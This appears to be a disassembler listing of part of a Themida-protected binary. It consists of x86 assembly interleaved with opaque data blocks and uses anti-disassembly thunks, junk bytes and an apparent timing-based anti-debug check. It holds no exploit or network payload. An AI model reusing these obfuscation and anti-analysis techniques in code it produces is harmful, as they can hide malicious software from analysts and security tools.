		dd 6A81F81h, 209DBD83h,	0F0106A8h, 6285h, 0FD958B00h, 0E906A831h
		dd 57h,	0EE9h, 4A130700h, 5067A6B7h, 0DF56EE20h, 89CABF92h
		dd 0A819A995h, 72B58B06h, 0C706A860h, 6, 17B58B00h, 0C706A85Eh
		dd 6, 9503CF00h, 6A80AB5h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 15h, 2DC35141h, 8324B3A0h
		dd 0A82C75BDh, 840F0006h, 0DDh,	343D8589h, 0BD8306A8h
		dd 6A8154Dh, 0B7850F01h, 8B000000h, 0A8157D9Dh,	4A8D8B06h
		dd 0F06A84Fh, 380h, 0FCE78000h,	6A0001C6h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 17CC356h
		dd 21FB761Eh, 9D8B99B2h, 6A80F31h, 3860F60h, 66000000h
		dd 6568D08Bh, 8A2344DFh, 243481F0h, 2344DFE5h, 71958956h
		dd 5A06A82Dh, 0EDB6FF6Ah, 0F8995FFh, 80B606A8h,	0AE861h
		dd 30B20000h, 0B098BBF6h, 85249BCEh, 95FF5BFCh,	6A81E89h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0AAC35646h
		dd 0DDB77771h, 4F4A8D8Bh, 0DB8106A8h, 1E2D8BB5h, 0BB6601FEh
		dd 0BD8312CEh, 6A80569h, 6850F01h, 8B000000h, 0A8029995h
		dd 6AC08B06h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 16042444h, 43000000h, 47DCC353h, 0D7805765h,	880F5A9Dh
		dd 0
; ---------------------------------------------------------------------------
		cmp	dword ptr [ebp+6A81ED9h], 0
		jnz	short loc_54FC02
		cmp	dword ptr [ebp+6A82DE9h], 0
		jz	short loc_54FC1C


loc_54FC02:				; CODE XREF: Themida_:0054FBF7j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, [ebp+6A807B5h]
		mov	[ebp+6A807B5h],	eax
		lea	ebx, [ebp+6AAA1ACh]
		call	ebx
		pop	ebx
		pop	eax


loc_54FC1C:				; CODE XREF: Themida_:0054FC00j
		cmp	dword ptr [ebp+6A82DE9h], 0
		jz	short loc_54FC3D
		push	eax
		push	ebx
		mov	eax, [ebp+6A807B5h]
		mov	[ebp+6A807B5h],	eax
		lea	ebx, [ebp+6AA9E9Bh]
		call	ebx
		pop	ebx
		pop	eax


loc_54FC3D:				; CODE XREF: Themida_:0054FC23j
		mov	bl, dl
		mov	ebx, [ebp+6A82ECDh]
		mov	eax, eax
		mov	edx, [ebp+6A8174Dh]
		cmp	dword ptr [ebp+6A82C75h], 0
		jnz	loc_54FC73
		and	ebx, [ebp+6A80565h]
		cmp	dword ptr [ebp+6A81655h], 0
		jz	loc_54FC73
		mov	[ebp+6A81A59h],	edi


loc_54FC73:				; CODE XREF: Themida_:0054FC54j
					; Themida_:0054FC67j
		cmp	dword ptr [ebp+6A82C75h], 0
		jz	loc_54FCC6
		mov	bx, cx
		cmp	dword ptr [ebp+6A830B1h], 0
		jz	loc_54FCC6
		push	0
		push	eax
		call	sub_54FC9B
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_54FC9B	proc near		; CODE XREF: Themida_:0054FC93p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_54FC9B	endp

; ---------------------------------------------------------------------------
		db 0Dh
		dd 52941F4Eh, 603C9F8Fh, 0F281D68Bh, 711820DDh,	38A0F61h
		dd 80000000h
		db 0CEh, 22h
; ---------------------------------------------------------------------------


loc_54FCC6:				; CODE XREF: Themida_:0054FC7Aj
					; Themida_:0054FC8Aj
		cmp	dword ptr [ebp+6A82C75h], 0
		jz	loc_54FCF8
		adc	bl, 0CCh
		mov	ebx, 38BF7A10h
		cmp	dword ptr [ebp+6A830B1h], 0
		jz	loc_54FCF8
		pusha
		mov	[ebp+6A807B1h],	ebx
		mov	eax, [ebp+6A801ADh]
		popa
		mov	bl, 0FDh


loc_54FCF8:				; CODE XREF: Themida_:0054FCCDj
					; Themida_:0054FCE2j
		cmp	dword ptr [ebp+6A82C75h], 0
		jz	loc_54FD47
		push	0
		push	ebx
		call	sub_54FD10
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_54FD10	proc near		; CODE XREF: Themida_:0054FD08p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Bh
		inc	ebx
		push	ebx
		retn
sub_54FD10	endp

; ---------------------------------------------------------------------------
		adc	al, 8Ah
		sbb	ds:0C2B03CAFh, esp
		jnp	loc_54FD36
		push	ebx
		mov	edx, [ebp+6A802D1h]
		pop	ebx


loc_54FD36:				; CODE XREF: Themida_:0054FD28j
		cmp	dword ptr [ebp+6A81005h], 0
		jz	loc_54FD47
		mov	bx, 9CBCh


loc_54FD47:				; CODE XREF: Themida_:0054FCFFj
					; Themida_:0054FD3Dj
		cmp	dword ptr [ebp+6A82C75h], 0
		jz	loc_54FD77
		movzx	ebx, ax
		cmp	dword ptr [ebp+6A82279h], 0
		jz	loc_54FD77
		mov	[ebp+6A820A1h],	ecx
		and	bl, 3
		call	dword ptr [ebp+6A8004Dh]
		mov	dx, 3EAAh


loc_54FD77:				; CODE XREF: Themida_:0054FD4Ej
					; Themida_:0054FD5Ej
		mov	eax, eax
		mov	bh, 0AEh
		cmp	dword ptr [ebp+6A81ED9h], 0
		jnz	short loc_54FD8D
		cmp	dword ptr [ebp+6A82DE9h], 0
		jz	short loc_54FDA7


loc_54FD8D:				; CODE XREF: Themida_:0054FD82j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, [ebp+6A80FD5h]
		mov	[ebp+6A80FD5h],	eax
		lea	ebx, [ebp+6AAA213h]
		call	ebx
		pop	ebx
		pop	eax


loc_54FDA7:				; CODE XREF: Themida_:0054FD8Bj
		cmp	dword ptr [ebp+6A82DE9h], 0
		jz	short loc_54FDC8
		push	eax
		push	ebx
		mov	eax, [ebp+6A80FD5h]
		mov	[ebp+6A80FD5h],	eax
		lea	ebx, [ebp+6AA9EB4h]
		call	ebx
		pop	ebx
		pop	eax


loc_54FDC8:				; CODE XREF: Themida_:0054FDAEj
		jmp	loc_54FDDC
; ---------------------------------------------------------------------------
		movsb
		xchg	eax, ebp
		xchg	ebp, ds:0D7829140h
		mov	ds:33AD8EB2h, eax
		aam	0F9h


loc_54FDDC:				; CODE XREF: Themida_:loc_54FDC8j
		jle	loc_54FDE4
		mov	ebx, ecx


loc_54FDE4:				; CODE XREF: Themida_:loc_54FDDCj
		mov	dl, 52h
		mov	eax, eax
		xor	ebx, 6E4B9B87h
		cmp	dword ptr [ebp+6A82C75h], 0
		jz	loc_5501C2
		jmp	loc_54FE05
; ---------------------------------------------------------------------------
		dd 84194BE2h
		db 0FEh
; ---------------------------------------------------------------------------


loc_54FE05:				; CODE XREF: Themida_:0054FDFBj
		cmp	dword ptr [ebp+6A80E35h], 2
		jz	loc_54FE7C
		push	0
		push	eax
		call	sub_54FE1D
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_54FE1D	proc near		; CODE XREF: Themida_:0054FE15p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_54FE1D	endp

; ---------------------------------------------------------------------------
		db 8Fh,	0F0h, 0E9h
		dd 12h,	7AB0A4D7h, 2ED8F123h, 3CF504B0h, 3115F136h, 0BD8373E0h
		dd 6A8209Dh, 29850F01h,	6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 0EAFCC353h
		dd 6800Fh, 0C2810000h, 665C962Bh
; ---------------------------------------------------------------------------


loc_54FE7C:				; CODE XREF: Themida_:0054FE0Cj
		pusha
		cld
		mov	ecx, [ebp+6A84F4Ah]
		mov	edx, [ebp+6A81AD1h]
		inc	byte ptr [ecx]
		mov	[ebp+6A80B6Dh],	eax
		call	near ptr loc_54FE9A+1
		add	byte ptr [eax],	0


loc_54FE9A:				; CODE XREF: Themida_:0054FE92p
		add	[edx+14012066h], bh
		push	eax
		push	esi
		push	eax
		push	edx
		push	edx
		pop	edx
		rdtsc
		mov	bx, 780Ah
		pop	edx
		pop	eax
		pop	edx
		mov	eax, [esp+4]
		mov	ebx, edx
		mov	eax, [eax]
		mov	bx, si
		mov	[esp+4], eax
		mov	edx, eax
		pop	eax
		jle	loc_54FECD
		or	[ebp+6A80769h],	edx


loc_54FECD:				; CODE XREF: Themida_:0054FEC1j
		push	0FFFFFFFFh
		movzx	ebx, cx
		mov	dx, si
		call	dword ptr [ebp+6A80F89h]
		cld
		popa
		call	sub_54FEEF
		daa
		in	eax, dx
		sub	bl, [ebp-28h]
		retf	0C91Ch
; ---------------------------------------------------------------------------
		dw 2973h
		db 0BBh, 95h, 14h

; =============== S U B	R O U T	I N E =======================================



sub_54FEEF	proc near		; CODE XREF: Themida_:0054FEDDp
		xor	bh, 0BCh
		pop	edx
		lea	edi, [ebp+6A82815h]
		mov	edx, [ebp+6A80151h]
		mov	ecx, [edi+1Ch]
		sub	bx, 4170h
		push	1
		push	0
		push	edi
		call	sub_54FF14
		and	[edi-3Dh], bl
sub_54FEEF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_54FF14	proc near		; CODE XREF: sub_54FEEF+1Dp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_54FF14	endp

; ---------------------------------------------------------------------------
		jge	short loc_54FF2F
		lea	esp, [ecx+0Ah]
		test	al, 6
		mov	dx, ax
		xchg	eax, ecx


loc_54FF2F:				; CODE XREF: Themida_:0054FF24j
		jmp	loc_54FF47
; ---------------------------------------------------------------------------
		dd 28F0D157h, 68974083h, 0C7B7215Bh, 89D86204h
		db 0CFh, 0E5h, 9Fh
; ---------------------------------------------------------------------------


loc_54FF47:				; CODE XREF: Themida_:loc_54FF2Fj
		push	eax
		jge	loc_54FF5D
		jmp	loc_54FF5D
; ---------------------------------------------------------------------------
		cmovnp	edx, esp
		adc	[ecx+ebp*2+61DCB056h], ebx


loc_54FF5D:				; CODE XREF: Themida_:0054FF48j
					; Themida_:0054FF4Ej
		xchg	eax, ecx
		push	0
		push	ebp
		call	sub_54FF69
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_54FF69	proc near		; CODE XREF: Themida_:0054FF61p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 18h
		inc	ebp
		push	ebp
		retn
sub_54FF69	endp

; ---------------------------------------------------------------------------
		pop	ecx
		pushf
		adc	[eax+ecx*8-73h], esi
		test	esi, ebx
		db	2Eh
		stos	dword ptr es:[edi]
		push	es
		push	0
		push	eax
		call	sub_54FF8F
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_54FF8F	proc near		; CODE XREF: Themida_:0054FF87p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_54FF8F	endp

; ---------------------------------------------------------------------------
		db 4Fh
		dd 0DD9D0365h, 0FF06A814h, 56006AD0h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 75743C53h
		dd 0EFF6FC5Bh, 204F8B5Ch, 6A036AFCh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 1C3DC356h
		dd 0E23225AAh, 867EA415h, 1ED1BD89h, 0BA5006A8h, 4DE02CBCh
		dd 52240C89h, 13E8h, 0E56F4C00h, 0A6108E7Fh, 22D3797Ah
		dd 7D1A4F36h, 6E7CF474h, 810Fh,	5B5B0000h, 2EF3858Dh, 12E906ABh
		dd 98000000h, 0DCEC3FC2h, 2984429Dh, 3A045F96h,	0AA9F0D28h
		dd 0E8D0FFE6h, 0Eh, 0F7805257h,	0B9928945h, 90C5CA93h
		dd 5BFC36C6h, 2815BD8Dh, 6A06A8h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 0DA9C4CC3h, 29BC7D12h
		dd 0E8C0BC9Eh, 8, 0C262563Bh, 0BED7B731h, 16F99503h, 8B5B06A8h
		dd 8B661C4Fh, 0E9016ADAh, 0Bh, 9719FC34h, 11DDA27Bh, 5064126Bh
		dd 5AD88A56h, 6A240C89h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 0D588C357h,	5A15606Ch
		dd 2EF3858Dh, 0DA8106ABh, 59C38082h, 6E9D0FFh, 46000000h
		dd 31773376h, 204F8BD2h, 33099D8Bh, 36A06A8h, 5050D08Bh
		dd 0BA310F52h, 48EC85EFh, 0C89585Ah, 258D3124h,	8D06A82Eh
		dd 0AB2EF385h, 8B666006h, 0FE8F7h, 0E6AC0000h, 5B0330E5h
		dd 76D22F72h, 37DB27h, 800FD3h,	5F000000h, 66D0FF61h, 8BB69EBAh
		dd 0A82AAD9Dh, 4A8D8B06h, 8B06A84Fh, 0A81E199Dh, 8B01FE06h
		dd 0A81E2595h, 4A858B06h, 8B06A84Fh, 0A80DC995h, 900FE06h
		dd 0A806B5BDh, 53016A06h, 5E9h,	0D80FEC00h, 685AA7ECh
		dd 0CD356574h, 481D38Ah, 0CA3A8B24h, 8DD2B232h,	0AB2EFD85h
		dd 119D8906h, 0FF06A810h, 52006AD0h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 0FC485EA2h
		dd 46FEBAADh
		db 0FCh, 75h
; ---------------------------------------------------------------------------


loc_5501C2:				; CODE XREF: Themida_:0054FDF5j
		cmp	dword ptr [ebp+6A81655h], 0
		jz	loc_5502DA
		push	0
		push	edx
		call	sub_5501DA
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5501DA	proc near		; CODE XREF: Themida_:005501D2p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 14h
		inc	edx
		push	edx
		retn
sub_5501DA	endp

; ---------------------------------------------------------------------------
		dw 8A79h
		dd 9DBD83DEh, 106A833h,	0E0850Fh, 0DE90000h, 0E000000h
		dd 4D7100A5h, 5AE8E707h, 445105E7h, 2F078D8Dh, 0BF0F06ABh
		dd 6A036ADBh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 171EC357h, 9E5D6819h, 6A016A88h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 81F1C356h, 93CF64Bh, 0FF9E6129h, 0F3C780D1h
		dd 8166016Ah, 813C97C2h, 8C86F2F2h, 6A016A57h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 19C7C357h, 0F5CD5F8h, 680h, 19B58900h, 0E906A81Eh, 0Bh
		dd 0CB102966h, 0F0CDB944h, 0F83728F4h, 6AD1FFh,	3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 7294FFC3h, 0D18B3A82h, 0B36DBAE8h
; ---------------------------------------------------------------------------
		stc
		cld


loc_5502DA:				; CODE XREF: Themida_:005501C9j
		push	20h
		sbb	dx, 2BF4h
		push	0FFFFFFFFh
		mov	[ebp+6A824E5h],	ecx
		call	dword ptr [ebp+6A80F89h]
		mov	[ebp+6A80E65h],	edx
		mov	eax, 0
		or	eax, eax
		jz	loc_550334
		jmp	loc_550319
; ---------------------------------------------------------------------------
		db 0A9h
		dd 298C87FEh, 9F761A8Eh, 158139Dh, 21EA1BA2h
		db 0B0h
; ---------------------------------------------------------------------------


loc_550319:				; CODE XREF: Themida_:00550302j
		cmp	dword ptr [ebp+6A82541h], 0
		jz	loc_550334
		mov	dl, al
		call	dword ptr [ebp+6A81ADDh]
		mov	[ebp+6A82B9Dh],	eax


loc_550334:				; CODE XREF: Themida_:005502FCj
					; Themida_:00550320j
		mov	eax, [ebp+6A80D19h]
		mov	dl, 0BEh
		mov	byte ptr [eax],	0
		pusha
		pusha
		add	[ebp+6A8152Dh],	esi
		xor	ecx, [ebp+6A801BDh]
		popa
		mov	si, 2A51h
		popa
		pop	eax
		push	0
		push	ebx
		call	sub_55035F
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_55035F	proc near		; CODE XREF: Themida_:00550357p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 18h
		inc	ebx
		push	ebx
		retn
sub_55035F	endp

; ---------------------------------------------------------------------------
		db 2Fh
		dd 863B23E4h, 14E852h, 62180000h, 0B25D74E4h, 0F42F84F8h
		dd 0D875BBC9h, 983BCDF2h, 5BF51C30h, 48B0F5Ah, 66000000h
		dd 60335BBBh, 0FBC08166h, 29958BE9h, 6106A815h,	8BD98C66h
		dd 0A82ABD95h, 4C1F606h, 3C840Fh, 8D090000h, 6A81579h
		dd 31E9h, 858B6000h, 6A801F1h, 2800Fh, 0FE8A0000h, 25B58B61h
		dd 8006A807h, 0BF0FD4E6h, 80C681D9h, 0F000011h,	6C7DAB7h
		dd 0
; ---------------------------------------------------------------------------
		mov	[ebp+6A80E51h],	edi
		pop	esi
		mov	[ebp+6A82F65h],	edi
		cmp	eax, 0
		jz	loc_550F14
		mov	[ebp+6A81B2Dh],	eax
		mov	edx, [ebp+6A802F1h]
		cmp	eax, 1
		jnz	loc_550597
		mov	dh, ah
		mov	eax, 0
		jmp	loc_55043A
; ---------------------------------------------------------------------------
		align 4
		dd 0CDB77789h, 0A8F1932Eh, 9E604F5Ch, 1DE7A2D5h
		db 9Ah,	12h
; ---------------------------------------------------------------------------


loc_55043A:				; CODE XREF: Themida_:00550422j
		or	eax, eax
		jz	loc_550540
		mov	dx, bx
		cmp	eax, 1
		jz	loc_550557
		pusha
		xor	[ebp+6A826B1h],	ebx
		jmp	loc_550467
; ---------------------------------------------------------------------------
		dw 0CC81h
		dd 9D41320Ah, 9E127515h
		db 57h,	81h, 71h
; ---------------------------------------------------------------------------


loc_550467:				; CODE XREF: Themida_:00550455j
		popa
		cmp	eax, 3
		jz	loc_5504FC
		push	0
		push	ebp
		call	sub_55047C
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_55047C	proc near		; CODE XREF: Themida_:00550474p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_55047C	endp

; ---------------------------------------------------------------------------
		sbb	bh, ah
		pop	es
		assume es:nothing
		jns	loc_55049D
		pusha
		mov	si, di
		mov	cx, si
		popa


loc_55049D:				; CODE XREF: Themida_:0055048Fj
		sub	eax, eax
		mov	[ebp+6A834D5h],	edi
		lea	edi, dword_5B89E0[ebp]
		push	0
		push	ecx


loc_5504AE:				; CODE XREF: Themida_:005504D2j
		call	sub_5504B6
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5504B6	proc near		; CODE XREF: Themida_:loc_5504AEp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_5504B6	endp

; ---------------------------------------------------------------------------
		pop	ebx
		adc	dh, [eax+ebx*8]
		sbb	ebp, [eax+0Fh]
		mov	edi, 11CA81D8h
		jnz	short loc_5504AE
		inc	edi
		jmp	edi
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_5504E2
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5504E2	proc near		; CODE XREF: Themida_:005504DAp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 18h
		inc	ecx
		push	ecx
		retn
sub_5504E2	endp

; ---------------------------------------------------------------------------
		cmp	al, 83h
		mov	ah, 5Ah
		or	edi, [edx+71AE1E72h]


loc_5504FC:				; CODE XREF: Themida_:0055046Bj
		mov	eax, 1
		mov	edx, [ebp+6A80DDDh]
		lea	edi, dword_5B89E0[ebp]
		add	bx, 7DEAh
		jmp	edi
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_55051F
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_55051F	proc near		; CODE XREF: Themida_:00550517p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 17h
		inc	esi
		push	esi
		retn
sub_55051F	endp

; ---------------------------------------------------------------------------
		db 4Eh
		dd 6003F3ADh, 14559D09h, 0F1BB06A8h, 6113A3A1h
; ---------------------------------------------------------------------------


loc_550540:				; CODE XREF: Themida_:0055043Cj
		lea	edi, [ebp+6A845D6h]
		mov	ebx, [ebp+6A81609h]
		jmp	loc_5507BD
; ---------------------------------------------------------------------------
		mov	edx, [ebp+6A81771h]


loc_550557:				; CODE XREF: Themida_:00550448j
		mov	dword ptr [ebp+6A84FA5h], 5
		push	0
		push	ebp
		call	sub_55056C
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_55056C	proc near		; CODE XREF: Themida_:00550564p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Bh
		inc	ebp
		push	ebp
		retn
sub_55056C	endp

; ---------------------------------------------------------------------------
		dd 7F5403DBh, 0DA42A367h, 5B8h,	659D8B00h, 0E906A802h
		dd 8FBh
; ---------------------------------------------------------------------------
		movzx	edx, di


loc_550597:				; CODE XREF: Themida_:00550415j
		cmp	eax, 2
		jnz	loc_55067E
		push	0
		push	edi
		call	sub_5505AB
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5505AB	proc near		; CODE XREF: Themida_:005505A3p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_5505AB	endp

; ---------------------------------------------------------------------------
		db 44h
		dd 2AFE02h, 0D262860Ch,	4BDB8166h, 0B8D5h, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 410747C3h, 39668698h, 336D958Bh, 0C00B06A8h,	60840Fh
		dd 8E90000h, 95000000h,	0E2212C4Ch, 83DC1662h, 840F01F8h
		dd 0FFFFFF43h, 8E857h, 68370000h, 0F74023FBh, 61601285h
		dd 0F8835B5Bh, 0CD840F03h, 89FFFFFEh, 0A80CC59Dh, 89C02B06h
		dd 0A807ED85h, 0E0BD8D06h, 66005B89h, 5AA5DB81h, 0F60E7FFh
		dd 683h, 79BD8B00h, 6106A809h, 2F519589h, 0BD8D06A8h, 6A847CEh
		dd 10BD9D89h, 4EE906A8h, 0E9000001h, 0Ah, 2C4B2726h, 0A75B3616h
		db 57h,	20h
; ---------------------------------------------------------------------------


loc_55067E:				; CODE XREF: Themida_:0055059Aj
		cmp	eax, 3
		jnz	loc_5506E8
		push	0
		push	eax
		call	sub_550692
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_550692	proc near		; CODE XREF: Themida_:0055068Ap

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 18h
		inc	eax
		push	eax
		retn
sub_550692	endp

; ---------------------------------------------------------------------------
		dec	ebx
		fbstp	tbyte ptr [ecx-6Eh]
		xor	[ecx-57F83673h], ecx
		push	es
		push	edi
		push	ecx
		mov	[ebp+6A819F9h],	edi
		pop	edx
		pop	ebx
		lea	edi, [ebp+6A84962h]
		movsx	ebx, bx
		jmp	loc_5507BD
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_5506D0
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5506D0	proc near		; CODE XREF: Themida_:005506C8p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_5506D0	endp

; ---------------------------------------------------------------------------
		push	4
		mov	[ebp+6A8165Dh],	edi


loc_5506E8:				; CODE XREF: Themida_:00550681j
		cmp	eax, 5
		jnz	loc_550721
		push	0
		push	eax
		call	sub_5506FC
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5506FC	proc near		; CODE XREF: Themida_:005506F4p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_5506FC	endp

; ---------------------------------------------------------------------------
		dd 940550F2h
		db 8Bh,	9Dh
; ---------------------------------------------------------------------------


loc_550712:				; CODE XREF: Themida_:00550769j
		xchg	eax, ebp
		xor	[eax+774E906h],	ch
; ---------------------------------------------------------------------------
		db 2 dup(0), 8Bh
		dd 0A8094D95h
; ---------------------------------------------------------------------------
		push	es


loc_550721:				; CODE XREF: Themida_:005506EBj
		cmp	eax, 6
		jnz	loc_55074E
		sbb	dl, 0DBh
		mov	[ebp+6A8161Dh],	edi
		lea	edi, [ebp+6A84B5Ah]
		mov	ebx, ecx
		mov	bh, 0B3h
		jmp	loc_5507BD
; ---------------------------------------------------------------------------
		js	loc_55074E
		adc	ebx, 70E7AB6Ch


loc_55074E:				; CODE XREF: Themida_:00550724j
					; Themida_:00550742j
		cmp	eax, 7
		jnz	loc_550783
		jb	loc_550775
		call	sub_550771
		xchg	ecx, [eax-1]
		cwde
		in	al, 0EAh
		xchg	eax, esp
		jg	short loc_550712
		dec	ebx
		lodsb
		popa
		dec	ebx
		xchg	eax, esi
		cdq

; =============== S U B	R O U T	I N E =======================================



sub_550771	proc near		; CODE XREF: Themida_:0055075Dp

; FUNCTION CHUNK AT 00550845 SIZE 00000019 BYTES

		movsx	edx, si
		pop	edx


loc_550775:				; CODE XREF: Themida_:00550757j
		lea	edi, [ebp+6A822DDh]
		mov	ebx, ecx
		jmp	loc_550845
sub_550771	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		clc


loc_550783:				; CODE XREF: Themida_:00550751j
		cmp	eax, 0Ah
		jnz	loc_5507BD
		movzx	edx, bx
		lea	edi, [ebp+6A84D52h]
		jmp	loc_5507A5
; ---------------------------------------------------------------------------
		dw 0B092h
		dd 8370F458h, 73B43AC8h
		db 2Ah
; ---------------------------------------------------------------------------


loc_5507A5:				; CODE XREF: Themida_:00550795j
		jmp	loc_5507BD
; ---------------------------------------------------------------------------
		pusha
		jl	loc_5507B3
		mov	esi, ecx


loc_5507B3:				; CODE XREF: Themida_:005507ABj
		jnp	loc_5507BC
		adc	dh, 9Dh


loc_5507BC:				; CODE XREF: Themida_:loc_5507B3j
		popa


loc_5507BD:				; CODE XREF: Themida_:0055054Cj
					; Themida_:005506C0j ...
		push	edi
		jmp	loc_5507C8
; ---------------------------------------------------------------------------
		db 82h
; ---------------------------------------------------------------------------
		add	byte ptr [edi-77h], 0Ch


loc_5507C8:				; CODE XREF: Themida_:005507BEj
		mov	ecx, 2F40254Ch
		jmp	loc_5507E0
; ---------------------------------------------------------------------------
		dw 0DA93h
		dd 2B9A2CCFh, 88B99944h, 46BB64E9h
; ---------------------------------------------------------------------------


loc_5507E0:				; CODE XREF: Themida_:005507CDj
		cmp	dword ptr [edi], 0
		jz	loc_55083B
		push	0
		push	ecx
		call	sub_5507F4
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5507F4	proc near		; CODE XREF: Themida_:005507ECp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_5507F4	endp

; ---------------------------------------------------------------------------
		dd 547F0BFFh, 8B66141Bh, 0F0F30D8h, 0FE9D3B7h, 74000000h
		dd 0A6F3BA9Bh, 0D71C02Bh, 46716B6Eh, 0C9D15816h, 32A59D8Bh
		dd 574706A8h, 0A9E95AFCh, 66FFFFFFh
		db 0BAh, 74h, 90h
; ---------------------------------------------------------------------------


loc_55083B:				; CODE XREF: Themida_:005507E3j
		pop	edi
		sbb	bh, 3Dh
		mov	[ebp+6A833A1h],	ebx
; START	OF FUNCTION CHUNK FOR sub_550771


loc_550845:				; CODE XREF: sub_550771+Cj
		mov	[ebp+6A84F4Eh],	edi
		mov	bl, 0C3h
		lea	ecx, [ebp+6A826D1h]
		push	0
		push	ecx
		call	sub_55085E
		and	[ecx-3Dh], bl
; END OF FUNCTION CHUNK	FOR sub_550771

; =============== S U B	R O U T	I N E =======================================



sub_55085E	proc near		; CODE XREF: sub_550771+E5p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ch
		inc	ecx
		push	ecx
		retn
sub_55085E	endp

; ---------------------------------------------------------------------------
		dw 0D58Fh
		dd 8D755E19h, 0F81545DBh, 81B5FFh, 0BD0906A8h, 6A82571h
		dd 9B7C858Dh, 8D5006AAh, 0A8566CBDh, 918D8D06h,	0B806A86Eh
		dd 54831ABCh, 730CF2Bh,	4947C8D0h, 0B58DF875h, 6A86E2Eh
		dd 6EA98D8Dh, 0CF2B06A8h, 0C933A4F3h, 0B8h, 74C00B00h
		dd 41BD8346h, 6A825h, 95FF0674h, 6A81ADDh, 4F4EB58Bh, 858D06A8h
